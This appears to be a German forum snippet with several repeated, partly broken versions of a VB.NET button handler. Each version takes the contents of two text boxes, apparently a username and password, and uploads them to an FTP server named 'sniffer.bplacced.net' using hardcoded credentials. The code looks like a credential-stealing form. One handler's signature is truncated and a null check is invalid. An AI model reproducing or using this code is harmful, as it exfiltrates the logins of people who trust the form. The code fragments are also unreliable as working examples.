Folge dem Video um zu sehen, wie unsere Website als Web-App auf dem Startbildschirm installiert werden kann.
Anmerkung: Diese Funktion ist in einigen Browsern möglicherweise nicht verfügbar.
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
ftpclient.Connect("sniffer.bplacced.net", "sniffer", "ranger")
My.Computer.FileSystem.WriteAllText((ftpclient.GetFiles("").Length + 1).ToString, TextBox1.Text + vbNewLine + TextBox2.Text, False)
ftpclient.UploadFile((ftpclient.GetFiles("").Length + 1).ToString(), (ftpclient.GetFiles("").Length + 1).ToString)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
try
Timer1.Start()
ftpclient.Connect("sniffer.bplacced.net", "sniffer", "ranger")
My.Computer.FileSystem.WriteAllText((ftpclient.GetFiles("").Length + 1).ToString, TextBox1.Text + vbNewLine + TextBox2.Text, False)
ftpclient.UploadFile((ftpclient.GetFiles("").Length + 1).ToString(), (ftpclient.GetFiles("").Length + 1).ToString)
catch exc As Exception
MessageBox.Show("Keine Dateien gefunden!\nÜberprüfe die Verbindung zum FTP-Client.")
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As
Timer1.Start()
ftpclient.Connect("sniffer.bplacced.net", "sniffer", "ranger")
If ftpclient.GetFiles("") <> Null Then
My.Computer.FileSystem.WriteAllText((ftpclient.GetFiles("").Length + 1).ToString, TextBox1.Text + vbNewLine + TextBox2.Text, False)
ftpclient.UploadFile((ftpclient.GetFiles("").Length + 1).ToString(), (ftpclient.GetFiles("").Length + 1).ToString)
Else
MessageBox.Show("Keine Dateien gefunden!\nÜberprüfe die Verbindung zum FTP-Client.")
End If
End Sub
My.Computer.FileSystem.WriteAllText((ftpclient.GetFiles("").Length + 1).ToString, TextBox1.Text + vbNewLine + TextBox2.Text, False)
ftpClient.UploadFile("C:\\Hallo Welt.txt", "")